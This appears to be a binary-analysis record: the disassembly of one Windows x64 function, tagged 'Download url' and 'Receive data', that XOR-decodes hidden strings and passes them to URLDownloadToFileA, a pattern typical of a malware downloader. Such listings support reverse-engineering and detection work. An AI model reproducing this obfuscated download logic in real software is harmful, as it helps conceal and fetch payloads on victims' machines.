Function at 0x140044480
Capabilities:
Download url
Receive data

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x190]
sub rsp, 0x290
mov rax, qword [0x1402acd18]
xor rax, rsp
mov qword [rbp + 0x180], rax
xor ebx, ebx
mov r8d, 0x104
lea rdx, [rbp + 0x70]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea edx, [rbx + 8]
lea rcx, [rbp + 0x40]
call fcn.14009c300
nop
cmp qword [rax + 0x18], 0x10
jb 0x1400444e3
mov rax, qword [rax]
xorps xmm0, xmm0
movups xmmword [rbp], xmm0
mov qword [rbp + 0x10], rbx
mov qword [rbp + 0x18], rbx
mov rdi, 0xffffffffffffffff
mov r8, rdi
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140044500
mov rdx, rax
lea rcx, [rbp]
call fcn.140042620
nop
mov rdx, qword [rbp + 0x58]
cmp rdx, 0x10
jb 0x140044552
inc rdx
mov rcx, qword [rbp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004454d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140044c01
call fcn.1400a031c
movdqa xmm0, xmmword [0x1400fe2b0]
movdqu xmmword [rbp + 0x50], xmm0
mov byte [rbp + 0x40], 0
movabs rax, 0x8c0ae9640040564a
mov qword [rbp + 0x30], rax
movabs rax, 0x9d98676422cc3364
mov qword [rbp + 0x38], rax
movabs rcx, 0x8c0ae96465383364
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rax
movdqa xmm0, xmmword [rbp + 0x30]
xorps xmm0, xmmword [rbp + 0x20]
movdqa xmmword [rbp + 0x30], xmm0
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
mov qword [rbp - 0x10], rbx
mov qword [rbp - 8], rbx
lea rax, [rbp + 0x30]
mov r8, rdi
inc r8
cmp byte [rax + r8], 0
jne 0x1400445b5
lea rdx, [rbp + 0x30]
lea rcx, [rbp - 0x20]
call fcn.140042620
nop
movabs r14, 0x7fffffffffffffff
mov rax, r14
mov r15, qword [rbp + 0x10]
sub rax, r15
mov r13, qword [rbp - 0x10]
cmp rax, r13
jb 0x140044c07
lea rdx, [rbp]
mov r12, qword [rbp]
cmp qword [rbp + 0x18], 0x10
cmovae rdx, r12
mov qword [rbp + 0x20], rdx
lea rax, [rbp - 0x20]
cmp qword [rbp - 8], 0x10
cmovae rax, qword [rbp - 0x20]
mov qword [rbp + 0x30], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], rbx
mov qword [rsp + 0x78], rbx
lea rax, [r15 + r13]
mov ebx, 0xf
lea rsi, [rsp + 0x60]
movabs rcx, 0x8000000000000000
lea r8d, [rbx + 7]
cmp rax, rbx
jbe 0x1400446c3
mov rbx, rax
or rbx, 0xf
cmp rbx, r14
jbe 0x140044682
mov rbx, r14
lea rax, [rcx + 0x27]
mov rcx, rax
call fcn.1400a02e0
test rax, rax
je 0x140044c2b
lea rsi, [rax + 0x27]
and rsi, 0xffffffffffffffe0
mov qword [rsi - 8], rax
lea rax, [r15 + r13]
mov rdx, qword [rbp + 0x20]
jmp 0x1400446be
cmp rbx, r8
cmovb rbx, r8
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x1400446a5
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140044bf5
jmp 0x14004465b
test rcx, rcx
je 0x1400446bc
call fcn.1400a02e0
mov rsi, rax
lea rax, [r15 + r13]
mov rdx, qword [rbp + 0x20]
jmp 0x1400446be
xor esi, esi
mov qword [rsp + 0x60], rsi
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x78], rbx
mov r8, r15
mov rcx, rsi
call fcn.1400bd5b0
lea rcx, [r15 + rsi]
mov r8, r13
mov rdx, qword [rbp + 0x30]
call fcn.1400bd5b0
lea rax, [r15 + r13]
mov byte [rsi + rax], 0
movabs rax, 0xa325d317154c470c
mov qword [rsp + 0x30], rax
movabs rax, 0xf8f0041447a94717
mov qword [rsp + 0x38], rax
movabs rax, 0x553e2a13ff0e4705
mov qword [rsp + 0x40], rax
movabs rax, 0xee09d70531b85d13
mov qword [rsp + 0x48], rax
movabs rax, 0xa1150164ca48430c
mov qword [rsp + 0x50], rax
movabs rcx, 0x36f53f641c5c3364
mov qword [rsp + 0x58], rcx
movabs rsi, 0x8c0ae96465383364
mov qword [rbp + 0x40], rsi
movabs rbx, 0x9d98676422cc3364
mov qword [rbp + 0x48], rbx
movabs rax, 0x3a5a05648f203364
mov qword [rbp + 0x50], rax
movabs rax, 0x9e27b3645ed43364
mov qword [rbp + 0x58], rax
movabs rax, 0xa1150164ca483364
mov qword [rbp + 0x60], rax
mov qword [rbp + 0x68], rcx
movdqa xmm0, xmmword [rsp + 0x30]
xorps xmm0, xmmword [rbp + 0x40]
movdqa xmmword [rsp + 0x30], xmm0
movdqa xmm1, xmmword [rsp + 0x40]
xorps xmm1, xmmword [rbp + 0x50]
movdqa xmmword [rsp + 0x40], xmm1
movdqa xmm0, xmmword [rsp + 0x50]
xorps xmm0, xmmword [rbp + 0x60]
movdqa xmmword [rsp + 0x50], xmm0
xorps xmm0, xmm0
movups xmmword [rbp - 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x30], xmm1
lea rax, [rsp + 0x30]
mov r8, rdi
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x1400447e0
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 0x40]
call fcn.140042620
nop
movabs rax, 0x8c0ae96465381c4a
mov qword [rbp + 0x20], rax
mov qword [rbp + 0x28], rbx
mov qword [rbp + 0x30], rsi
mov qword [rbp + 0x38], rbx
movdqa xmm0, xmmword [rbp + 0x20]
xorps xmm0, xmmword [rbp + 0x30]
movdqa xmmword [rbp + 0x20], xmm0
lea rax, [rbp + 0x20]
mov rbx, rdi
nop dword [rax + rax]
inc rbx
cmp byte [rax + rbx], 0
jne 0x140044830
mov rax, r14
mov rcx, qword [rsp + 0x70]
sub rax, rcx
cmp rax, rbx
jb 0x140044c0d
lea rax, [rsp + 0x60]
cmp qword [rsp + 0x78], 0x10
cmovae rax, qword [rsp + 0x60]
mov qword [rbp + 0x30], rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x60], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x50], xmm1
lea r13, [rcx + rbx]
mov esi, 0xf
lea r15, [rbp - 0x60]
cmp r13, rsi
jbe 0x1400448fe
mov rsi, r13
or rsi, 0xf
cmp rsi, r14
jbe 0x1400448bf
mov rsi, r14
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.1400a02e0
test rax, rax
je 0x140044c1f
lea r15, [rax + 0x27]
and r15, 0xffffffffffffffe0
mov qword [r15 - 8], rax
jmp 0x1400448fa
cmp rsi, 0x16
mov eax, 0x16
cmovb rsi, rax
lea rcx, [rsi + 1]
cmp rcx, 0x1000
jb 0x1400448e8
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140044bfb
jmp 0x1400448a0
test rcx, rcx
je 0x1400448f7
call fcn.1400a02e0
mov r15, rax
jmp 0x1400448fa
xor r15d, r15d
mov qword [rbp - 0x60], r15
mov qword [rbp - 0x50], r13
mov qword [rbp - 0x48], rsi
mov r8, rbx
lea rdx, [rbp + 0x20]
mov rcx, r15
call fcn.1400bd5b0
lea rcx, [r15 + rbx]
mov r8, qword [rsp + 0x70]
mov rdx, qword [rbp + 0x30]
call fcn.1400bd5b0
mov byte [r15 + r13], 0
lea r8, [rbp - 0x60]
cmp qword [rbp - 0x48], 0x10
cmovae r8, qword [rbp - 0x60]
lea rdx, [rbp - 0x40]
cmp qword [rbp - 0x28], 0x10
cmovae rdx, qword [rbp - 0x40]
xor ebx, ebx
mov qword [rsp + 0x20], rbx
xor r9d, r9d
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
movabs rax, 0x3030303030303030
mov dword [rbp + 0x20], eax
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
mov qword [rbp - 0x70], rbx
mov qword [rbp - 0x68], rbx
lea rax, [rbp + 0x20]
nop dword [rax]
inc rdi
cmp byte [rax + rdi], bl
jne 0x140044980
cmp rdi, r14
ja 0x140044c13
cmp rdi, 0x10
jae 0x1400449b9
mov qword [rbp - 0x70], rdi
mov qword [rbp - 0x68], 0xf
mov r8, rdi
lea rdx, [rbp + 0x20]
lea rcx, [rbp - 0x80]
call fcn.1400bd5b0
mov byte [rbp + rdi - 0x80], bl
jmp 0x140044a04
mov rax, rdi
or rax, 0xf
cmp rax, r14
ja 0x1400449d5
mov r14, rax
cmp rax, 0x16
mov eax, 0x16
cmovb r14, rax
lea rdx, [r14 + 1]
lea rcx, [rbp - 0x80]
call fcn.140009e60
mov rbx, rax
mov qword [rbp - 0x80], rax
mov qword [rbp - 0x70], rdi
mov qword [rbp - 0x68], r14
mov r8, rdi
lea rdx, [rbp + 0x20]
mov rcx, rax
call fcn.1400bd5b0
mov byte [rbx + rdi], 0
lea rax, [rbp + 0x40]
mov qword [rbp + 0x30], rax
lea rdx, [rbp - 0x80]
lea rcx, [rbp + 0x40]
call fcn.140009b10
mov rbx, rax
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140009b10
nop
mov rdx, rbx
mov rcx, rax
call fcn.140045770
nop
mov rdx, qword [rbp - 0x68]
cmp rdx, 0x10
jb 0x140044a74
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140044a6e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140044c19
call fcn.1400a031c
nop
mov rdx, qword [rbp - 0x48]
cmp rdx, 0x10
jb 0x140044aaf
inc rdx
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140044aaa
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140044c1f
call fcn.1400a031c
movdqa xmm0, xmmword [0x1400fe2b0]
movdqu xmmword [rbp - 0x50], xmm0
mov byte [rbp - 0x60], 0
mov rdx, qword [rbp - 0x28]
cmp rdx, 0x10
jb 0x140044afb
inc rdx
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140044af6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140044c25
call fcn.1400a031c
movdqa xmm0, xmmword [0x1400fe2b0]
movdqu xmmword [rbp - 0x30], xmm0
mov byte [rbp - 0x40], 0
mov rdx, qword [rsp + 0x78]
cmp rdx, 0x10
jb 0x140044b4a
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140044b44
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140044c2b
call fcn.1400a031c
nop
mov rax, qword [rbp - 8]
cmp rax, 0x10
jb 0x140044b87
lea rdx, [rax + 1]
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140044b81
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140044c31
call fcn.1400a031c
nop
mov rax, qword [rbp + 0x18]
cmp rax, 0x10
jb 0x140044bbf
lea rdx, [rax + 1]
mov rax, r12
cmp rdx, 0x1000
jb 0x140044bb7
add rdx, 0x27
mov r12, qword [r12 - 8]
sub rax, r12
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140044bef
mov rcx, r12
call fcn.1400a031c
mov rcx, qword [rbp + 0x180]
xor rcx, rsp
call fcn.1400a02c0
lea r11, [rsp + 0x290]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.1400d0a24
nop
call fcn.1400017c0
nop
call fcn.1400017c0
nop
call fcn.1400d0a24
nop
call fcn.140001860
nop
call fcn.140001860
nop
call fcn.140001860
int3
call fcn.1400d0a24
nop
call fcn.1400d0a24
nop
call fcn.1400d0a24
nop
call fcn.1400d0a24
nop
call fcn.1400d0a24
int3